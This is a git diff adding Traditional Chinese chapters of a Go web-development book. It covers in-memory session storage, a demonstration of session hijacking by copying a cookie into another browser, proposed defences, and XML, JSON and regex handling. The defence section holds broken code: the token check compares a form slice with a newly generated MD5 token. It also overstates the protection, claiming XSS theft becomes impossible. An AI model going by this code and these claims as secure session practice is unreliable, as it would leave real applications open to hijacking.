(session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil +} + +func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err + } + return nil, nil +} + +func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) + return nil + } + return nil +} + +func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() + + for { + element := pder.list.Back() + if element == nil { + break + } + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { + pder.list.Remove(element) + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break + } + } +} + +func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) + return nil + } + return nil +} + +func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) +} +``` +上面這個程式碼實現了一個記憶體儲存的 session 機制。透過 init 函式註冊到 session 管理器中。這樣就可以方便的呼叫了。我們如何來呼叫該引擎呢?請看下面的程式碼 + +```Go +import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" +) +``` +當 import 的時候已經執行了 memory 函式裡面的 init 函式,這樣就已經註冊到 session 管理器中,我們就可以使用了,透過如下方式就可以初始化一個 session 管理器: + +```Go +var globalSessions *session.Manager + +//然後在 init 函式中初始化 +func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() +} +``` + +## links + * [目錄]() + * 上一節:[Go 如何使用 session](<06.2.md>) + * 下一節:[預防 session 劫持](<06.4.md>) diff --git a/zh-tw/06.4.md b/zh-tw/06.4.md new file mode 100644 index 000000000..c0eb05a3f --- /dev/null +++ b/zh-tw/06.4.md @@ -0,0 +1,93 @@ +# 6.4 預防 session 劫持 +session 劫持是一種廣泛存在的比較嚴重的安全威脅,在 session 技術中,客戶端和伺服器端透過 session 的識別符號來維護會話, 但這個識別符號很容易就能被嗅探到,從而被其他人利用。它是中間人攻擊的一種型別。 + +本節將透過一個範例來示範會話劫持,希望透過這個範例,能讓讀者更好地理解 session 的本質。 +## session 劫持過程 +我們寫了如下的程式碼來展示一個 count 計數器: + +```Go +func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) +} +``` + +count.gtpl 的程式碼如下所示: + +```Go +Hi. Now count:{{.}} +``` +然後我們在瀏覽器裡面重新整理可以看到如下內容: + +![](images/6.4.hijack.png) + +圖 6.4 瀏覽器端顯示 count 數 + +隨著重新整理,數字將不斷增長,當數字顯示為 6 的時候,開啟瀏覽器(以 chrome 為例)的 cookie 管理器,可以看到類似如下的資訊: + + +![](images/6.4.cookie.png) + +圖 6.5 取得瀏覽器端儲存的 cookie + +下面這個步驟最為關鍵: 開啟另一個瀏覽器(這裡我打開了 firefox 瀏覽器),複製 chrome 位址列裡的地址到新開啟的瀏覽器的位址列中。然後開啟 firefox 的 cookie 模擬外掛,建立一個 cookie,把按上圖中 cookie 內容原樣在 firefox 中重建一份: + +![](images/6.4.setcookie.png) + +圖 6.6 模擬 cookie + +Enter 後,你將看到如下內容: + +![](images/6.4.hijacksuccess.png) + +圖 6.7 劫持 session 成功 + +可以看到雖然換了瀏覽器,但是我們卻獲得了 sessionID,然後模擬了 cookie 儲存的過程。這個例子是在同一臺計算機上做的,不過即使換用兩臺來做,其結果仍然一樣。此時如果交替點選兩個瀏覽器裡的連結你會發現它們其實操縱的是同一個計數器。不必驚訝,此處 firefox 盜用了 chrome 和 goserver 之間的維持會話的鑰匙,即 gosessionid,這是一種型別的“會話劫持”。在 goserver 看來,它從 http 請求中得到了一個 gosessionid,由於 HTTP 協議的無狀態性,它無法得知這個 gosessionid 是從 chrome 那裡“劫持”來的,它依然會去查詢對應的 session,並執行相關計算。與此同時 chrome 也無法得知自己保持的會話已經被“劫持”。 +## session 劫持防範 +### cookieonly 和 token +透過上面 session 劫持的簡單示範可以了解到 session 一旦被其他人劫持,就非常危險,劫持者可以假裝成被劫持者進行很多非法操作。那麼如何有效的防止 session 劫持呢? + +其中一個解決方案就是 sessionID 的值只允許 cookie 設定,而不是透過 URL 重置方式設定,同時設定 cookie 的 httponly 為 true,這個屬性是設定是否可透過客戶端指令碼訪問這個設定的 cookie,第一這個可以防止這個 cookie 被 XSS 讀取從而引起 session 劫持,第二 cookie 設定不會像 URL 重置方式那麼容易取得 sessionID。 + +第二步就是在每個請求裡面加上 token,實現類似前面章節裡面講的防止 form 重複提交類似的功能,我們在每個請求裡面加上一個隱藏的 token,然後每次驗證這個 token,從而保證使用者的請求都是唯一性。 + +```Go +h := md5.New() +salt:="astaxie%^7&8888" +io.WriteString(h,salt+time.Now().String()) +token:=fmt.Sprintf("%x",h.Sum(nil)) +if r.Form["token"]!=token{ + //提示登入 +} +sess.Set("token",token) +``` + +### 間隔產生新的 SID +還有一個解決方案就是,我們給 session 額外設定一個建立時間的值,一旦過了一定的時間,我們刪除這個 sessionID,重新產生新的 session,這樣可以一定程度上防止 session 劫持的問題。 + +```Go +createtime := sess.Get("createtime") +if createtime == nil { + sess.Set("createtime", time.Now().Unix()) +} else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) +} +``` +session 啟動後,我們設定了一個值,用於記錄產生 sessionID 的時間。透過判斷每次請求是否過期(這裡設定了 60 秒)定期產生新的 ID,這樣使得攻擊者取得有效 sessionID 的機會大大降低。 + +上面兩個手段的組合可以在實踐中消除 session 劫持的風險,一方面, 由於 sessionID 頻繁改變,使攻擊者難有機會取得有效的 sessionID;另一方面,因為 sessionID 只能在 cookie 中傳遞,然後設定了 httponly,所以基於 URL 攻擊的可能性為零,同時被 XSS 取得 sessionID 也不可能。最後,由於我們還設定了 MaxAge=0,這樣就相當於 session cookie 不會留在瀏覽器的歷史記錄裡面。 + + +## links + * [目錄]() + * 上一節:[session 儲存](<06.3.md>) + * 下一節:[小結](<06.5.md>) diff --git a/zh-tw/06.5.md b/zh-tw/06.5.md new file mode 100644 index 000000000..658a4e4c7 --- /dev/null +++ b/zh-tw/06.5.md @@ -0,0 +1,6 @@ +# 6.5 小結 +這章我們學習了什麼是 session,什麼是 cookie,以及他們兩者之間的關係。但是目前 Go 官方標準套件裡面不支援 session,所以我們設計了一個 session 管理器,實現了 session 從建立到刪除的整個過程。然後定義了 Provider 的介面,使得可以支援各種後端的 session 儲存,然後我們在第三小節裡面介紹了如何使用記憶體儲存來實現 session 的管理。第四小節我們講解了 session 劫持的過程,以及我們如何有效的來防止 session 劫持。透過這一章的講解,希望能夠讓讀者了解整個 sesison 的執行原理以及如何實現,而且是如何更加安全的使用 session。 +## links + * [目錄]() + * 上一節:[session 儲存](<06.4.md>) + * 下一章:[文字處理](<07.0.md>) diff --git a/zh-tw/07.0.md b/zh-tw/07.0.md new file mode 100644 index 000000000..54552e7e7 --- /dev/null +++ b/zh-tw/07.0.md @@ -0,0 +1,12 @@ +# 7 文字處理 +Web 開發中對於文字處理是非常重要的一部分,我們往往需要對輸出或者輸入的內容進行處理,這裡的文字包括字串、數字、Json、XMl 等等。Go 語言作為一門高效能的語言,對這些文字的處理都有官方的標準函式庫來支援。而且在你使用中你會發現 Go 標準函式庫的一些設計相當的巧妙,而且對於使用者來說也很方便就能處理這些文字。本章我們將透過四個小節的介紹,讓使用者對 Go 語言處理文字有一個很好的認識。 + +XML 是目前很多標準介面的互動語言,很多時候和一些 Java 編寫的 webserver 進行互動都是基於 XML 標準進行互動,7.1 小節將介紹如何處理 XML 文字,我們使用 XML 之後發現它太複雜了,現在很多網際網路企業對外的 API 大多數採用了 JSON 格式,這種格式描述簡單,但是又能很好的表達意思,7.2 小節我們將講述如何來處理這樣的 JSON 格式資料。正則是一個讓人又愛又恨的工具,它處理文字的能力非常強大,我們在前面表單驗證裡面已經有所領略它的強大,7.3 小節將詳細的更深入的講解如何利用好 Go 的正則。Web 開發中一個很重要的部分就是 MVC 分離,在 Go 語言的 Web 開發中 V 有一個專門的套件來支援`template`,7.4 小節將詳細的講解如何使用模版來進行輸出內容。7.5 小節將詳細介紹如何進行檔案和資料夾的操作。7.6 小結介紹了字串的相關操作。 + +## 目錄 + ![](images/navi7.png) + +## links + * [目錄]() + * 上一章:[第六章總結](<06.5.md>) + * 下一節:[XML 處理](<07.1.md>) diff --git a/zh-tw/07.1.md b/zh-tw/07.1.md new file mode 100644 index 000000000..453a76f0a --- /dev/null +++ b/zh-tw/07.1.md @@ -0,0 +1,237 @@ +# 7.1 XML 處理 +XML 作為一種資料交換和資訊傳遞的格式已經十分普及。而隨著 Web 服務日益廣泛的應用,現在 XML 在日常的開發工作中也扮演了愈發重要的角色。這一小節, 我們將就 Go 語言標準套件中的 XML 相關處理的套件進行介紹。 + +這個小節不會涉及 XML 規範相關的內容(如需了解相關知識請參考其他文獻),而是介紹如何用 Go 語言來編解碼 XML 檔案相關的知識。 + +假如你是一名運維人員,你為你所管理的所有伺服器生成了如下內容的 xml 的配置檔案: +```xml + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +``` +上面的 XML 文件描述了兩個伺服器的資訊,包含了伺服器名和伺服器的 IP 資訊,接下來的 Go 例子以此 XML 描述的資訊進行操作。 + +## 解析 XML +如何解析如上這個 XML 檔案呢? 我們可以透過 xml 套件的 `Unmarshal` 函式來達到我們的目的 + +```Go +func Unmarshal(data []byte, v interface{}) error +``` +data 接收的是 XML 資料流,v 是需要輸出的結構,定義為 interface,也就是可以把 XML 轉換為任意的格式。我們這裡主要介紹 struct 的轉換,因為 struct 和 XML 都有類似樹結構的特徵。 + +範例程式碼如下: + +```Go +package main + +import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" +) + +type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` +} + +type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: %v", err) + return + } + + fmt.Println(v) +} +``` + +XML 本質上是一種樹狀結構,而我們可以定義與之匹配的 go 語言的 struct 型別,然後透過 xml.Unmarshal 來將 xml 中的資料解析成對應的 struct 物件。如上例子輸出如下資料 +```xml + +{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + +} +``` + +上面的例子中,將 xml 檔案解析成對應的 struct 物件是透過`xml.Unmarshal`來完成的,這個過程是如何實現的?可以看到我們的 struct 定義後面多了一些類似於`xml:"serverName"`這樣的內容,這個是 struct 的一個特性,它們被稱為 struct tag,它們是用來輔助反射的。我們來看一下 `Unmarshal` 的定義: + +```Go +func Unmarshal(data []byte, v interface{}) error +``` +我們看到函式定義了兩個參數,第一個是 XML 資料流,第二個是儲存的對應型別,目前支援 struct、slice 和 string,XML 套件內部採用了反射來進行資料的對映,所以 v 裡面的欄位必須是匯出的。`Unmarshal`解析的時候 XML 元素和欄位怎麼對應起來的呢?這是有一個優先順序讀取流程的,首先會讀取 struct tag,如果沒有,那麼就會對應欄位名。必須注意一點的是解析的時候 tag、欄位名、XML 元素都是區分大小寫的的,所以必須一一對應欄位。 + +Go 語言的反射機制,可以利用這些 tag 資訊來將來自 XML 檔案中的資料反射成對應的 struct 物件,關於反射如何利用 struct tag 的更多內容請參閱 reflect 中的相關內容。 + +解析 XML 到 struct 的時候遵循如下的規則: + +- 如果 struct 的一個欄位是 string 或者 []byte 型別且它的 tag 含有`",innerxml"`,Unmarshal 將會將此欄位所對應的元素內所有內嵌的原始 xml 累加到此欄位上,如上面例子 Description 定義。最後的輸出是 + +```xml + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +``` + +- 如果 struct 中有一個叫做 XMLName,且型別為 xml.Name 欄位,那麼在解析的時候就會儲存這個 element 的名字到該欄位,如上面例子中的 servers。 +- 如果某個 struct 欄位的 tag 定義中含有 XML 結構中 element 的名稱,那麼解析的時候就會把相應的 element 值賦值給該欄位,如上 servername 和 serverip 定義。 +- 如果某個 struct 欄位的 tag 定義了中含有`",attr"`,那麼解析的時候就會將該結構所對應的 element 的與欄位同名的屬性的值賦值給該欄位,如上 version 定義。 +- 如果某個 struct 欄位的 tag 定義 型如`"a>b>c"`,則解析的時候,會將 xml 結構 a 下面的 b 下面的 c 元素的值賦值給該欄位。 +- 如果某個 struct 欄位的 tag 定義了`"-"`,那麼不會為該欄位解析匹配任何 xml 資料。 +- 如果 struct 欄位後面的 tag 定義了`",any"`,如果他的子元素在不滿足其他的規則的時候就會匹配到這個欄位。 +- 如果某個 XML 元素包含一條或者多條註釋,那麼這些註釋將被累加到第一個 tag 含有",comments"的欄位上,這個欄位的型別可能是 []byte 或 string,如果沒有這樣的欄位存在,那麼註釋將會被拋棄。 + +上面詳細講述了如何定義 struct 的 tag。 只要設定對了 tag,那麼 XML 解析就如上面範例般簡單,tag 和 XML 的 element 是一一對應的關係,如上所示,我們還可以透過 slice 來表示多個同級元素。 + +>注意: 為了正確解析,go 語言的 xml 套件要求 struct 定義中的所有欄位必須是可匯出的(即首字母大寫) + +## 輸出 XML +假若我們不是要解析如上所示的 XML 檔案,而是產生它,那麼在 go 語言中又該如何實現呢? xml 套件中提供了 `Marshal` 和`MarshalIndent`兩個函式,來滿足我們的需求。這兩個函式主要的區別是第二個函式會增加字首和縮排,函式的定義如下所示: + +```Go +func Marshal(v interface{}) ([]byte, error) +func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) +``` +兩個函式第一個參數是用來產生 XML 的結構定義型別資料,都是回傳產生的 XML 資料流。 + +下面我們來看一下如何輸出如上的 XML: + +```Go +package main + +import ( + "encoding/xml" + "fmt" + "os" +) + +type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` +} + +type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` +} + +func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) +} +``` + +上面的程式碼輸出如下資訊: +```xml + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + +``` + +和我們之前定義的檔案的格式一模一樣,之所以會有`os.Stdout.Write([]byte(xml.Header))` 這句程式碼的出現,是因為`xml.MarshalIndent`或者`xml.Marshal`輸出的資訊都是不帶 XML 頭的,為了產生正確的 xml 檔案,我們使用了 xml 套件預定義的 Header 變數。 + +我們看到 `Marshal` 函式接收的參數 v 是 interface{}型別的,即它可以接受任意型別的參數,那麼 xml 套件,根據什麼規則來產生相應的 XML 檔案呢? + +- 如果 v 是 array 或者 slice,那麼輸出每一個元素,類似value +- 如果 v 是指標,那麼會 Marshal 指標指向的內容,如果指標為空,什麼都不輸出 +- 如果 v 是 interface,那麼就處理 interface 所包含的資料 +- 如果 v 是其他資料型別,就會輸出這個資料型別所擁有的欄位資訊 + +產生的 XML 檔案中的 element 的名字又是根據什麼決定的呢?元素名按照如下優先順序從 struct 中取得: + +- 如果 v 是 struct,XMLName 的 tag 中定義的名稱 +- 型別為 xml.Name 的名叫 XMLName 的欄位的值 +- 透過 struct 中欄位的 tag 來取得 +- 透過 struct 的欄位名用來取得 +- marshall 的型別名稱 + +我們應如何設定 struct 中欄位的 tag 資訊以控制最終 xml 檔案的產生呢? + +- XMLName 不會被輸出 +- tag 中含有`"-"`的欄位不會輸出 +- tag 中含有`"name,attr"`,會以 name 作為屬性名,欄位值作為值輸出為這個 XML 元素的屬性,如上 version 欄位所描述 +- tag 中含有`",attr"`,會以這個 struct 的欄位名作為屬性名輸出為 XML 元素的屬性,類似上一條,只是這個 name 預設是欄位名了。 +- tag 中含有`",chardata"`,輸出為 xml 的 character data 而非 element。 +- tag 中含有`",innerxml"`,將會被原樣輸出,而不會進行常規的編碼過程 +- tag 中含有`",comment"`,將被當作 xml 註釋來輸出,而不會進行常規的編碼過程,欄位值中不能含有"--"字串 +- tag 中含有`"omitempty"`,如果該欄位的值為空值那麼該欄位就不會被輸出到 XML,空值包括:false、0、nil 指標或 nil 介面,任何長度為 0 的 array, slice, map 或者 string +- tag 中含有`"a>b>c"`,那麼就會迴圈輸出三個元素 a 包含 b,b 包含 c,例如如下程式碼就會輸出 + +```xml + FirstName string `xml:"name>first"` + LastName string `xml:"name>last"` + + + Asta + Xie + +``` + +上面我們介紹了如何使用 Go 語言的 xml 套件來編/解碼 XML 檔案,重要的一點是對 XML 的所有操作都是透過 struct tag 來實現的,所以學會對 struct tag 的運用變得非常重要,在文章中我們簡要的列舉了如何定義 tag。更多內容或 tag 定義請參看相應的官方資料。 + +## links + * [目錄]() + * 上一節:[文字處理](<07.0.md>) + * 下一節:[Json 處理](<07.2.md>) diff --git a/zh-tw/07.2.md b/zh-tw/07.2.md new file mode 100644 index 000000000..0e0cc3ad5 --- /dev/null +++ b/zh-tw/07.2.md @@ -0,0 +1,243 @@ +# 7.2 JSON 處理 +JSON(Javascript Object Notation)是一種輕量級的資料交換語言,以文字為基礎,具有自我描述性且易於讓人閱讀。儘管 JSON 是 Javascript 的一個子集,但 JSON 是獨立於語言的文字格式,並且採用了類似於 C 語言家族的一些習慣。JSON 與 XML 最大的不同在於 XML 是一個完整的標記語言,而 JSON 不是。JSON 由於比 XML 更小、更快,更易解析,以及瀏覽器的內建快速解析支援,使得其更適用於網路資料傳輸領域。目前我們看到很多的開放平臺,基本上都是採用了 JSON 作為他們的資料互動的介面。既然 JSON 在 Web 開發中如此重要,那麼 Go 語言對 JSON 支援的怎麼樣呢?Go 語言的標準函式庫已經非常好的支援了 JSON,可以很容易的對 JSON 資料進行編、解碼的工作。 + +前一小節的運維的例子用 json 來表示,結果描述如下: +```json + +{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} +``` +本小節餘下的內容將以此 JSON 資料為基礎,來介紹 go 語言的 json 套件對 JSON 資料的編、解碼。 +## 解析 JSON + +### 解析到結構體 +假如有了上面的 JSON 串,那麼我們如何來解析這個 JSON 串呢?Go 的 JSON 套件中有如下函式 + +```Go +func Unmarshal(data []byte, v interface{}) error +``` +透過這個函式我們就可以實現解析的目的,詳細的解析例子請看如下程式碼: + +```Go +package main + +import ( + "encoding/json" + "fmt" +) + +type Server struct { + ServerName string + ServerIP string +} + +type Serverslice struct { + Servers []Server +} + +func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) +} +``` +在上面的範例程式碼中,我們首先定義了與 json 資料對應的結構體,陣列對應 slice,欄位名對應 JSON 裡面的 KEY,在解析的時候,如何將 json 資料與 struct 欄位相匹配呢?例如 JSON 的 key 是`Foo`,那麼怎麼找對應的欄位呢? + +- 首先查詢 tag 含有 `Foo` 的可匯出的 struct 欄位(首字母大寫) +- 其次查詢欄位名是 `Foo` 的匯出欄位 +- 最後查詢類似 `FOO` 或者 `FoO` 這樣的除了首字母之外其他大小寫不敏感的匯出欄位 + +聰明的你一定注意到了這一點:能夠被賦值的欄位必須是可匯出欄位(即首字母大寫)。同時 JSON 解析的時候只會解析能找得到的欄位,找不到的欄位會被忽略,這樣的一個好處是:當你接收到一個很大的 JSON 資料結構而你卻只想取得其中的部分資料的時候,你只需將你想要的資料對應的欄位名大寫,即可輕鬆解決這個問題。 + +### 解析到 interface +上面那種解析方式是在我們知曉被解析的 JSON 資料的結構的前提下采取的方案,如果我們不知道被解析的資料的格式,又應該如何來解析呢? + +我們知道 interface{} 可以用來儲存任意資料型別的物件,這種資料結構正好用於儲存解析的未知結構的 json 資料的結果。JSON 套件中採用 map[string]interface{} 和[]interface{}結構來儲存任意的 JSON 物件和陣列。Go 型別和 JSON 型別的對應關係如下: + +- bool 代表 JSON booleans, +- float64 代表 JSON numbers, +- string 代表 JSON strings, +- nil 代表 JSON null. + +現在我們假設有如下的 JSON 資料 + +```Go +b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) +``` +如果在我們不知道他的結構的情況下,我們把他解析到 interface{} 裡面 + +```Go +var f interface{} +err := json.Unmarshal(b, &f) +``` +這個時候 f 裡面儲存了一個 map 型別,他們的 key 是 string,值儲存在空的 interface{} 裡 + +```Go +f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, +} +``` +那麼如何來訪問這些資料呢?透過斷言的方式: + +```Go +m := f.(map[string]interface{}) +``` +透過斷言之後,你就可以透過如下方式來訪問裡面的資料了 + +```Go +for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } +} +``` +透過上面的範例可以看到,透過 interface{} 與 type assert 的配合,我們就可以解析未知結構的 JSON 數了。 + +上面這個是官方提供的解決方案,其實很多時候我們透過型別斷言,操作起來不是很方便,目前 bitly 公司開源了一個叫做 `simplejson` 的套件,在處理未知結構體的 JSON 時相當方便,詳細例子如下所示: + +```Go +js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } +}`)) + +arr, _ := js.Get("test").Get("array").Array() +i, _ := js.Get("test").Get("int").Int() +ms := js.Get("test").Get("string").MustString() +``` + +可以看到,使用這個函式庫操作 JSON 比起官方套件來說,簡單的多,詳細的請參考如下地址:https://github.com/bitly/go-simplejson + +## 產生 JSON +我們開發很多應用的時候,最後都是要輸出 JSON 資料串,那麼如何來處理呢?JSON 套件裡面透過 `Marshal` 函式來處理,函式定義如下: + +```Go +func Marshal(v interface{}) ([]byte, error) +``` +假設我們還是需要產生上面的伺服器列表資訊,那麼如何來處理呢?請看下面的例子: + +```Go +package main + +import ( + "encoding/json" + "fmt" +) + +type Server struct { + ServerName string + ServerIP string +} + +type Serverslice struct { + Servers []Server +} + +func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) +} +``` + +輸出如下內容: +```json + +{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} +``` +我們看到上面的輸出欄位名的首字母都是大寫的,如果你想用小寫的首字母怎麼辦呢?把結構體的欄位名改成首字母小寫的?JSON 輸出的時候必須注意,只有匯出的欄位才會被輸出,如果修改欄位名,那麼就會發現什麼都不會輸出,所以必須透過 struct tag 定義來實現: + +```Go +type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` +} + +type Serverslice struct { + Servers []Server `json:"servers"` +} +``` +透過修改上面的結構體定義,輸出的 JSON 串就和我們最開始定義的 JSON 串保持一致了。 + +針對 JSON 的輸出,我們在定義 struct tag 的時候需要注意的幾點是: + +- 欄位的 tag 是`"-"`,那麼這個欄位不會輸出到 JSON +- tag 中帶有自訂名稱,那麼這個自訂名稱會出現在 JSON 的欄位名中,例如上面例子中 serverName +- tag 中如果帶有`"omitempty"`選項,那麼如果該欄位值為空,就不會輸出到 JSON 串中 +- 如果欄位型別是 bool, string, int, int64 等,而 tag 中帶有`",string"`選項,那麼這個欄位在輸出到 JSON 的時候會把該欄位對應的值轉換成 JSON 字串 + + +舉例來說: + +```Go +type Server struct { + // ID 不會匯出到 JSON 中 + ID int `json:"-"` + + // ServerName2 的值會進行二次 JSON 編碼 + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // 如果 ServerIP 為空,則不輸出到 JSON 串中 + ServerIP string `json:"serverIP,omitempty"` +} + +s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, +} +b, _ := json.Marshal(s) +os.Stdout.Write(b) +``` + +會輸出以下內容: +```json + +{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} +``` + +Marshal 函式只有在轉換成功的時候才會回傳資料,在轉換的過程中我們需要注意幾點: + + +- JSON 物件只支援 string 作為 key,所以要編碼一個 map,那麼必須是 map[string]T 這種型別(T 是 Go 語言中任意的型別) +- Channel, complex 和 function 是不能被編碼成 JSON 的 +- 巢狀的資料是不能編碼的,不然會讓 JSON 編碼進入無窮遞迴 +- 指標在編碼的時候會輸出指標指向的內容,而空指標會輸出 null + + +本小節,我們介紹了如何使用 Go 語言的 json 標準套件來編解碼 JSON 資料,同時也簡要介紹了如何使用第三方套件`go-simplejson`來在一些情況下簡化操作,學會並熟練運用它們將對我們接下來的 Web 開發相當重要。 + +## links + * [目錄]() + * 上一節:[XML 處理](<07.1.md>) + * 下一節:[正則處理](<07.3.md>) diff --git a/zh-tw/07.3.md b/zh-tw/07.3.md new file mode 100644 index 000000000..5869e7fb9 --- /dev/null +++ b/zh-tw/07.3.md @@ -0,0 +1,253 @@ +# 7.3 正則處理 +正則表示式是一種進行模式匹配和文字操縱的複雜而又強大的工具。雖然正則表示式比純粹的文字匹配效率低,但是它卻更靈活。按照它的語法規則,隨需構造出的匹配模式就能夠從原始文字中篩選出幾乎任何你想要得到的字元組合。如果你在 Web 開發中需要從一些文字資料來源中取得資料,那麼你只需要按照它的語法規則,隨需構造出正確的模式字串就能夠從原資料來源提取出有意義的文字資訊。 + +Go 語言透過 `regexp` 標準套件為正則表示式提供了官方支援,如果你已經使用過其他程式語言提供的正則相關功能,那麼你應該對 Go 語言版本的不會太陌生,但是它們之間也有一些小的差異,因為 Go 實現的是 RE2 標準,除了\C,詳細的語法描述參考:`http://code.google.com/p/re2/wiki/Syntax` + +其實字串處理我們可以使用 `strings` 套件來進行搜尋(Contains、Index)、替換(Replace)和解析(Split、Join)等操作,但是這些都是簡單的字串操作,他們的搜尋都是區分大小寫的,而且固定的字串,如果我們需要匹配可變的那種就沒辦法實現了,當然如果 `strings` 套件能解決你的問題,那麼就儘量使用它來解決。因為他們足夠簡單、而且效能和可讀性都會比正則好。 + +如果你還記得,在前面表單驗證的小節裡,我們已經接觸過正則處理,在那裡我們利用了它來驗證輸入的資訊是否滿足某些預設的條件。在使用中需要注意的一點就是:所有的字元都是 UTF-8 編碼的。接下來讓我們更加深入的來學習 Go 語言的 `regexp` 套件相關知識吧。 + +## 透過正則判斷是否匹配 +`regexp`套件中含有三個函式用來判斷是否匹配,如果匹配回傳 true,否則回傳 false + +```Go +func Match(pattern string, b []byte) (matched bool, error error) +func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) +func MatchString(pattern string, s string) (matched bool, error error) +``` + +上面的三個函式實現了同一個功能,就是判斷 `pattern` 是否和輸入源匹配,匹配的話就回傳 true,如果解析正則出錯則回傳 error。三個函式的輸入源分別是 byte slice、RuneReader 和 string。 + +如果要驗證一個輸入是不是 IP 地址,那麼如何來判斷呢?請看如下實現 + +```Go +func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false + } + return true +} +``` +可以看到,`regexp`的 pattern 和我們平常使用的正則一模一樣。再來看一個例子:當用戶輸入一個字串,我們想知道是不是一次合法的輸入: + +```Go +func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("數字") + } else { + fmt.Println("不是數字") + } +} +``` +在上面的兩個小例子中,我們採用了 Match(Reader|String)來判斷一些字串是否符合我們的描述需求,它們使用起來非常方便。 + +## 透過正則取得內容 +Match 模式只能用來對字串的判斷,而無法擷取字串的一部分、過濾字串、或者提取出符合條件的一批字串。如果想要滿足這些需求,那就需要使用正則表示式的複雜模式。 + +我們經常需要一些爬蟲程式,下面就以爬蟲為例來說明如何使用正則來過濾或擷取抓取到的資料: + +```Go +package main + 